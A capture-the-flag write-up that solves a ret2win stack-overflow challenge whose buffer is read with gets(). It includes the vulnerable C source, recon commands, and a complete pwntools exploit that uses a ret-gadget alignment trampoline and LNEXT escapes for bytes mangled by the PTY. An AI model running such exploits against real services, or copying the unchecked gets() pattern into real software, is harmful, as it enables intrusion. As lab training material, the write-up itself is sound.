Heritage Keycard CTF: ret2win Through PTY Bad Bytes

Challenge: VelvetStay Heritage Keycard System

Platform: LevelUpCTF

Category: Binary Exploitation / ret2win

Reading Time: 14 min

Heritage Keycard CTF: Challenge Brief

VelvetStay Boutique's luxury aesthetic hides a crumbling digital foundation. Their vintage keycard dispensers are controlled by a legacy daemon that hasn't seen a patch since the hotel's opening in the late 90s. As a security auditor, you have been tasked with investigating the robustness of their guest registration handling.

Connect via nc <host> 9000. Two files provided:

  • vuln.b64 — base64-encoded binary
  • challenge.c — source code

The setup looks like a classic textbook ret2win. The twist is that the connection comes through a PTY that consumes parts of the payload before they reach the vulnerable program. The challenge ends up being less about the exploit itself and more about reliably transmitting bytes through a hostile transport.

Heritage Keycard Source Analysis

void win() {
    char flag[128];
    FILE *f = fopen("/flag.txt", "r");
    // ...
    printf("Authentication successful! Access Granted: %s", flag);
}

void vuln() {
    char buffer[64];
    printf("Enter BioMorphix Security Code: ");
    gets(buffer);   // <-- no length check
}

Classic ret2win. The vulnerability is gets() writing into a 64-byte stack buffer with no bounds check. A win() function exists that reads and prints /flag.txt. The goal is to overflow the buffer to overwrite the saved return address with the address of win().

Heritage Keycard Binary Recon

Decode the binary

On macOS, base64 -d uses capital -D:

base64 -D -i vuln.b64 -o vuln && chmod +x vuln

On Linux (the provided attackbox):

base64 -d vuln.b64 > vuln && chmod +x vuln

Protections

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown
PIE:        No PIE (0x400000)

No stack canary, no PIE. Static addresses and no stack cookie to bypass. Straightforward.

Stack frame

objdump -d vuln | grep -A15 '<vuln>:'
4012bb:  48 83 ec 40    sub $0x40, %rsp    # 64-byte buffer

Stack layout inside vuln():

[buffer: 64 bytes] [saved RBP: 8 bytes] [return address: 8 bytes]

Offset to return address = 64 + 8 = 72 bytes

Locate win()

objdump -d vuln | grep '<win>'
# 0000000000401216 <win>:

win() sits at 0x401216.

Heritage Keycard: The PTY Bad Bytes Problem

This is where what looked like a 3-minute challenge took 80 minutes. The binary is served via socat (the source comments mention "Disable buffering for reliable I/O over socat"), but the attackbox's connection to target:9000 went through a PTY layer that processed terminal control characters before they reached gets().

The address 0x401216 contains:

  • \x16 — ASCII Ctrl+V / LNEXT, the PTY "literal next" escape, consumed by line discipline
  • \x12 — ASCII Ctrl+R / REPRINT, which makes the PTY reprint the current line, also consumed

That meant payload bytes were being eaten by the PTY before they ever reached the process. A direct python3 exploit.py | ./vuln pipe (no PTY) worked fine locally. nc target 9000 through the attackbox went through a PTY and mangled the address.

Heritage Keycard Stack Alignment Bypass

Even with bytes landing intact, jumping directly to win() at 0x401216 causes a segfault because printf inside win() uses SSE instructions that require 16-byte stack alignment. The x86-64 System V ABI requires RSP % 16 == 0 before a call. A ret gadget must be inserted as a trampoline to realign the stack.

Finding a clean ret gadget

ROPgadget --binary vuln | grep ": ret$"
# 0x000000000040101a : ret

Only one executable ret gadget at 0x40101a. Its bytes: \x1a \x10 \x40 \x00.... \x1a is Ctrl+Z / SIGTSTP, also a PTY bad byte.

Heritage Keycard LNEXT Escape Technique

In canonical PTY mode, \x16 (LNEXT) escapes exactly the next character, passing it literally to the program. To transmit a literal bad byte \xXX, send \x16\xXX. The \x16 is consumed by the PTY. The \xXX lands in the buffer untouched.

Actual byte needed Bytes to send Reason
\x16 (LNEXT itself) \x16\x16 LNEXT escapes itself
\x12 (REPRINT) \x16\x12 LNEXT escapes \x12
\x1a (SIGTSTP) \x16\x1a LNEXT escapes \x1a

Heritage Keycard Final Exploit

from pwn import *

io = remote("target", 9000)

# ret gadget 0x40101a: \x1a needs LNEXT escape
# sends \x16\x1a\x10\x40\x00\x00\x00\x00 (9 bytes) -> 8 land in buffer
ret_escaped = b'\x16\x1a' + b'\x10\x40\x00\x00\x00\x00\x00'

# win() 0x401216: \x16 and \x12 both need LNEXT escapes
# sends \x16\x16\x16\x12\x40\x00\x00\x00\x00\x00 (10 bytes) -> 8 land in buffer
win_escaped = b'\x16\x16' + b'\x16\x12' + b'\x40\x00\x00\x00\x00\x00'

payload  = b'A' * 72       # fill buffer (64) + saved RBP (8)
payload += ret_escaped     # stack alignment trampoline
payload += win_escaped     # win() address

io.recvuntil(b"Security Code: ")
io.sendline(payload)
io.interactive()           # keep connection open to receive flag output

Output:

Authentication successful! Access Granted: LEVELUP{REDACTED}

Heritage Keycard CTF Flag

LEVELUP{REDACTED}

Heritage Keycard Attack Chain

gets() in vuln() reads unbounded user input into a 64-byte buffer
    |
    v
Overflow 72 bytes to reach the saved return address
    |
    v
Place ret gadget (0x40101a) as a trampoline to realign RSP % 16 == 0
    |
    v
Place win() address (0x401216) as the next return target
    |
    v
PTY consumes \x16, \x12, \x1a as control characters
    |
    v
LNEXT escape: prefix each bad byte with \x16 so it passes through literally
    |
    v
win() executes: opens /flag.txt and prints the flag

Heritage Keycard Lessons Learned

  1. io.interactive() vs io.recvall(). recvall() races the remote connection. If the server exits before pwntools flushes, you miss the output. interactive() keeps stdin open and prints everything live. Use interactive() for flag capture.
  2. PTY line discipline is invisible until it isn't. When a challenge is served via socat with a PTY, or through a jump host that adds one, terminal control characters in your payload get processed before the program sees them. Diagnose by comparing payload | ./vuln (clean pipe, no PTY) against | nc target port (may have PTY). Symptoms: "Access Denied" despite a correct offset, or connection drops without error output.
  3. Stack alignment matters on x86-64. The System V ABI requires 16-byte stack alignment before a call. A ret gadget used as a trampoline adds one more ret worth of RSP adjustment, realigning it. When win() segfaults with a correct address, alignment is almost always the cause.
  4. Verify gadgets are in executable segments. ROPgadget respects section permissions. Scanning raw bytes with a Python script can find 0xc3 bytes in non-executable data segments, and those will segfault. Use ROPgadget or ropper for final gadget selection.

Heritage Keycard Solve Timeline

Step Finding
Source reviewgets() overflow, win() is the target
DisassemblyOffset = 72, win() = 0x401216, no PIE, no canary
Initial exploitCorrect mechanics, recvall() missed flag output
Alignment debugwin() segfaults without ret gadget
PTY discovery\x16, \x12, \x1a consumed by terminal line discipline
LNEXT escaping\x16\xXX passes literal \xXX through PTY
FlagLEVELUP{REDACTED}

Heritage Keycard CTF: Final Thoughts

On paper this is a beginner pwn challenge. gets() into a fixed buffer, win() sitting in the binary, no canary, no PIE. The intended solve is 72 bytes of padding, the ret gadget for alignment, and win(). Five lines of pwntools.

What makes it memorable is the transport. The PTY is the actual adversary, not the program. Once you've seen LNEXT eat half your payload it's hard to unsee it, and the techniques used here (LNEXT escaping bad bytes, ret-gadget alignment trampolines, choosing interactive() over recvall()) keep showing up in pwn challenges where the binary is fronted by socat or a tty wrapper.

The hint penalty was worth it. Hint #1 pointed at the buffer overflow but the PTY layer is the part you only find by reading tcdrain and termios docs after staring at strace output for an hour.

Challenge hosted on LevelUpCTF. Writeup completed: May 2026.